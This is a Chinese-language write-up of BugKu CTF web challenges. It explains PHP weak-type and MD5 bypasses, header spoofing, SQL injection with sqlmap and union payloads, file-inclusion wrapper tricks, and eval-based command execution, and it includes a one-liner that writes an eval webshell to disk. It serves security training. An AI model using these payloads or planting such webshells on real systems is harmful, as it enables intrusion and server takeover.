BugKu-web

BugKu-web
NgkcvsCCBugKu-web
1.滑稽
简单题:打开后是空白页面,查看网页源代码就找到flag:
1 <!flag{b71f4e6eb376cf5db16605c6d28ed443}
2.计算器
打开页面是个输入验证码的页面,输入验证码没反应
查看网页源代码,code.js可能有东西,再打开这个页面,在页面中找到flag
3.alert
页面也是空白的,查看源代码发现是写script标签内容,页面下方注释有一段 Unicode 编码内容,解码后得到flag
4.你必须让他停下
页面在不停地自动刷新,关掉网页js,让图片显示出来,在显示图片页面查看源代码
5.头等舱
页面只有个这
查看网页源代码,什么也没有;查看页面元素,在响应头找到flag
6.GET
根据题目要求传入what参数,直接出结果了
7.POST
同上题一样
8.source
源代码中有答案有一个
base64解码结果不对
网页目录扫描,发现有 /.git/ 路径
把 .git 下载下来,从下载内容中查找存在 flag 的文件,
下载命令:wget -r http://117.72.52.127:18761/.git
下载git目录后 使用命令查看历史flag记录
我们可以通过使用
git reflog命令,就可查看到所有历史版本信息。由于查看所有历史版本信息的目的,大多是为了进行版本回退或恢复操作所使用,从中找到所需的commit索引,所以该命令被命名为reflog,即:引用日志。再使用 git show 命令查看每一个文件
这个也不对,接着找下一个,第二个也不是!
@@ -1 +1 @@
-flag{nonono}
+flag{hahahahahhahahahahnotflag}
接着找后面所有的,找到一个最像正确答案的
@@ -1 +1 @@
-flag{nonono}
+flag{git_is_good_distributed_version_control_system}
9.矛盾
1 | $num=$_GET['num']; |
$num==1 是 弱类型比较
PHP中字符串与数字弱比较,会将字符串转换为数字,截至到非数字字符,如果第一个字符就是非数字则字符串为0。
例如:
“1” == 1
“1abc” == 1
“123ab” == 123
“a12” == 0
按照此原理题目可将 num 参数设置为 1后面加上任意字母
例如:?num=1aaaa
10.备份是个好习惯
打开页面时一串字母加数字的字符串,不像什么编码,查看源代码无果
根据题目标题可能有备份文件,扫描一下网站目录,找到个 index.php.bak
1 |
|
strstr(“abcd”,”c”) : 查找 “c” 在 “abcd” 中是否存在,如果是,返回该字符串及后面剩余部分 cd
substr(“abcd”,2) :从字符串的指定位置开始截取到最后一位, cd
str_replace() : 把字符串 “Hello world!” 中的字符 “world” 替换成 “Peter”:
1
2
3
4
echo str_replace("world","Peter","Hello world!");
输出:Hello Peter!parse_str() 函数把查询字符串解析到变量中。
1
2
3
4
5
6
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
输出:Peter 43MD5值比较相等(PHP弱类型):
数组绕过 : eg:a[]=1&b[]=2
科学计数法绕过:0e绕过
1
2
3
4
5
6
7
8
9
10
11
12
13 240610708:0e462097431906509019562988736854
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
PJNPDWY:0e291529052894702774557631701704
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
代码解释:
1 |
|
由于MD5操作数组后全部为NULL,所以强弱类型比较的绕过都可用数组绕过
弱类型比较还可以用,科学计数法 0e 绕过
URL 地址要传入两个参数 ,例如: ?key1=QNKCDZO&key2=s214587387a
发现还是没反应
应该传入 :**?kkeyey1=QNKCDZO&kekeyy2=s214587387a**
使用双写绕过 str_replace() 函数,因为 str_replace() 会把字符串中的 key 替换为空,得到flag ,flag{61f39b75603f82ae120da511396cf16d}
解法二:
还可以使用数组绕过:**?kkeyey1[]=aa&kkeyey2[]=sc**
11.变量1
1 | flag In the variable ! |
题目分析:
两个主要的知识点: preg_match 和 可变变量
error_reporting(0); // 关闭php错误显示
include “flag1.php”; // 包含flag1.php文件代码
if(!preg_match(“/^\w+$/“,$args)){ // 匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
1
2
3
4
5 /^表示开始,
\w表示任意一个字符,即[a-z][A-Z][0-9],
+将前面的字符匹配一次或多次,
$/结束。
后面的args变量是被匹配的。只要运行 eval(“var_dump($$args);”);,flag很有可能就会出来$$arg
$$ 是可变变量,就是改变变量的名称的意思。
定义:一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
例如:
1
2
3
4
5
6
$a = 'hello';
$$a = 'world';//这样两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下两条语句会输出相同的结果:
echo "$a ${$a}"; //会输出 hello world,
echo "$a $hello"; //会输出 hello world,$hello就是$$a要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。
类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class foo {
var $bar = 'I am bar.';
var $arr = array('I am A.', 'I am B.', 'I am C.');
var $r = 'I am r.';
}
$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n"; //输出 I am bar.
echo $foo->$baz[1] . "\n"; //输出 I am bar.
$start = 'b';
$end = 'ar';
echo $foo->{$start . $end} . "\n"; //输出 I am bar.
$arr = 'arr';
echo $foo->$arr[1] . "\n"; //输出 I am r.
echo $foo->{$arr}[1] . "\n"; //输出 I am B.在 PHP 的函数和类的方法中,超全局变量不能用作可变变量。***$this* 变量也是一个特殊变量,不能被动态引用**。
题目中 $$args 就是个可变变量, $args 的值是另一个变量的变量名 ,$$args就代表另一个变量
PHP有九大全局变量
1 | $_POST [用于接收post提交的数据] |
一个一个试试,只有 $GLOBALS 可用
构造 ?args=GLOBALS
参考资料:
其他:eval() 函数
使用file_put_contents()、eval() 函数上传一句话木马,由于 双引号中变量会被解析为变量的值,而我们需要变量的名,所以需要加**反斜线 **\ 处理变量的值
1 | file_put_contents('shell.php', '<?php @eval($_POST[123]);?>'); |
12.本地管理员
查看源代码
解码后得到 `test`,很可能是密码,试了一下不对,抓包查看请求,请求包为:
1 | POST / HTTP/1.1 |
发包后页面没反应 ,想到题目为 本地管理员 ,我们修改 X-Forwarded-For 为 127.0.0.1
1 | Client-IP: 127.0.0.1 |
返回结果变了,说明改 X-Forwarded-For 有作用,密码使用刚才的 test123 成功获得 flag{e2bb6bc7efddd6aa6fc3348cc19f887c}
13.game1
是个网页版小游戏
目录扫描一下,找到个 /src/index.js ,没有什么有用的
玩游戏,抓个包查看下找到个 /score.php 页面
sign参数可能是个 base64 ,解码后是个乱码。
在页面源代码中搜索 sign ,发现这个 sgin 是经过base64加密的
1 | var ppp='8.8.8.8'; |
抓了多次包,发现这个base64码有规律,前两位总是 zM 开头,我们把他去掉
结果分别是 125== 、 25==、100==
1 | GET /score.php?score=125&ip=8.8.8.8&sign=zMMTI1== HTTP/1.1 |
我们把score值设置大一些 例如:5000000 ,base64 就是 zMNTAwMDAwMD09,接着发包,flag出现了flag{4ba0b4991081b8dea546b05f11647ed0}
14.源代码
题目只有一个输入框和提交按钮,让查看源代码
unescape() 函数是要返回指定值的ASCII字符串。
按要求把 p1 解码和 %35%34%61%61%32+p2解码后字符串拼接
eval(unescape(p1) + unescape(‘%35%34%61%61%32’ + p2));
处理后得到的解码内容为:
1 | function checkSubmit(){ |
1 | 将字符串:67d709b2b54aa2aa648cf6e87a7114f1输入输入框提交得到flag |
15.网站被黑
老规矩,查看网页源代码,什么都没有
目录扫描一下,找到个 /shell.php ,直接访问,发现是个webshell大马
连接密码爆破一下,使用 big.txt 字典,得到了密码是 : hack
16.bp
题目提示
提 示: 弱密码top1000?z?????
描 述: 请找出密码
直接使用字典 top1000 爆破密码,根据提示密码首字母是可能是 z 开头,但是爆破响应长度都为908
接着看响应包
1
2
3
4
5
6
7
8
9
10 <script>
var r = {code: 'bugku10000'}
if(r.code == 'bugku10000'){
console.log('e');
document.getElementById('d').innerHTML = "Wrong account or password!";
}else{
console.log('0');
window.location.href = 'success.php?code='+r.code;
}
</script>
设置响应包内容筛选,添加 {code: ‘bugku10000’} ,没有出现登录失败特征码的即为登录成功的Payload ,
密码为 :zxc123
17.好像需要密码
直接爆破密码,密码为:12468
18.shell
描 述:
送给大家一个过狗一句话 $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’])
打开页面是个空白页面,描述中提示传参s
1 | ?s=system("whoami") 响应 www-data |
19.eval
1 |
|
var_dump()函数可以接受一个或多个参数,并将它们的信息打印到输出流中。例如:
$variable = “Hello, World!”;
var_dump($variable); // 输出: string(13) “Hello, World!”
传入phpinfo试试
接着查看用户:?hello=system(whoami) www-data
?hello=system(‘tac f*’) flag{c5e0918f8ea72bc6a4e2140cd82de208}
?hello=eval($_POST[‘cmd’]) 使用蚁剑连接
20.需要管理员
页面没什么有用信息,直接目录扫描,找到了个 robots.txt,访问 robots.txt,又找到个 resusl.php
1
2 User-agent: *
Disallow: /resusl.php
提示要管理员才能操作,尝试传入一个admin
结果出来了
21.程序员本地网站
页面显示:请从本地访问!
抓包修改 请求头 X-Forwarded-For: 127.0.0.1 获得结果
22.你从哪里来
页面显示:
are you from google?
此题可能是考察请求头访问的连接来源,直接在请求头添加
Referer: www.google.com
23.前女友
查看网页源代码,有个 code.txt
1 |
|
strcmp()函数 会对比字符串内容,如果一致返回 0,不一致返回 1
传入数组的话,就会返回0,和正确校验一致,从而绕过。例如:
if (strcmp($username, $_POST['username']) == 0) { if (strcmp($password, $_POST['password']) == 0) {
1
2
3
4
5
6
7
8
9
10
11
根据:**($v1 != $v2 && md5($v1) == md5($v2))**
v1和v2可以使用**数组**或者**0e**绕过,v3使用数组绕过
以下payload可以使用:
```php
?v1[]=1&v2[]=2&v3[]=1
?v1=240610708&v2=314282422&v3[]=112
?v1=QNKCDZO&v2=240610708&v3[]=123flag{51539bd0ddbbdcbdd2078651bb49d3af}
24.MD5
下载了个源码文件,内容如下
1 | $md51 = md5('QNKCDZO'); |
分析:
代码要求传入一个参数 a ,要求 a 的 MD5 值不能为 QNKCDZO ,且a的MD5和 QNKCDZO 的MD5值相等。就可以输出flag
可以使用 0e 绕过,找一个 0e 值 ,这里就取 314282422 为例
1 ?a=314282422还可以使用的很多:
s155964671a
571579406
PJNPDWY
……
25.各种绕过哟
1 |
|
代码要求 uname 和 passwd 的值不同,但哈希值相同,很明显,可直接使用数组绕过
get ?id=margin&uname=1
post passwd[]=2
26.秋名山车神(1)
此题通过写脚本解
1 | import requests |
代码分析:
1 | # 导入所需的库:requests用于发送HTTP请求,re用于正则表达式匹配 |
参考:
https://fishpi.cn/article/1647579118689?p=1&m=0
27.速度要快
28.file_get_contents
1 |
|
extract(): 它的主要作用是将数组展开,键名作为变量名,元素值为变量值。可以很方便的提取$_POST或者$_GET的元素。
extract($_GET);
相当于:
$ac=$_GET[‘sc’]
$fn=$_GET[‘fn’]
trim() : 用于移除字符串两侧的空白字符或其他预定义字符。
file_get_contents()函数 绕过
1
2
3
4
5
6
7 绕过方式有:
php://input伪协议绕过:
使 ?fn=php://input
用post方法传入想要file_get_contents()函数返回的值
data://伪协议绕过:
?fn=data://text/plain;base64
?fn=data:text/plain //url编码
?ac=123as&fn=data:text/plain,123as
29.成绩查询
分别输入了 1,2,3显示不同的成绩列表。抓包查看
SQL注入,输入测试 payload
1 | ?id=1 |
30.no select
SQL注入漏洞。直接 sqlmap
1 | python sqlmap.py -u "http://117.72.52.127:11766/?id=1" --dbs #flag |
万能密码: 1' or 1=1 #
31.login2
直接sqlmap扫描,发现什么都没有
登录抓包发现有个 tip
解码后:
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
可以输入:用户名可以任意值,主要是使用 union 语句
- 用户名:
a' UNION SELECT 1,md5(666)# - 密码:
666
$password 是我们输入的密码值
row['password']应该是查询出来的结果
出现另一个页面
输入各种命令,没有有用的回显
使用管道符 | 可以绕过,将命令执行的结果输出到文件中访问来绕过
写入木马文件
32.sql注入
题目提示基于布尔的SQL盲注,直接sqlmap跑一下,注不出来。
使用bp爆破密码,用户名是admin,密码爆破出来是 bugkuctf
33.login1
试了下没有用户弱口令
注册页面注册一个账号:admin /123456
admin加个空格,可以注册成功,设置的密码就会替换成管理员的,因为后端数据库会过自动删掉空格。
34.文件包含
点击后页面链接变成 http://117.72.52.127:15632/index.php?file=show.php
使用 php://filter 伪协议读取 show.php文件
?file=php://filter/convert.base64-encode/resource=show.php
读取 index.php
1 | 77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2NlZDJkZDdiYWU4MzZmZmZlZjI0YjM1Mjk0MWJkZjU2fQ0KPz4NCjwvaHRtbD4NCg== |
解码后:
1 | <html> |
35.never_give_up
查看网页元素和网页源代码,发现有个提示 1p.html
访问后发现会跳转到别的页面,为了能访问到 1p.html,可以把这个页面下载下来打开。查看页面内容
1 | %3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E |
将得到的字符串解码,得到源代码,先url解码后得到一段类似base64的编码,base64解码后又出现一段url编码,继续解码得到正确代码。
1 | ";if(!$_GET['id']) |
stripos($a,’.’) 函数表示 $a 中不能有 ‘.’
看到 file_get_contents($a,’r’) ,立马想到用 php://input 伪协议
表示 $data 中要有bugku is a nice plateform!字符串
看到 $id==0 是两个 =,立马想到是弱类型比较,可以令 id=0qw绕过
eregi(“111”.substr($b,0,1),“1114”) 表示将 111和 $b 提取的第一个字符拼接,和1114做比较,111与$b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114
可以利用 %00截断 ,使substr截取$b字符串时被截断,从而形成eregi(“111”,”1114”),匹配成功,同时%00不会对strlen截断,
又$b字符串长度大于5,可以在 %00 后跟任意字符凑够长度 5,可以构造为 $b=%0012345
其中 %00 算作一个长度为 1































































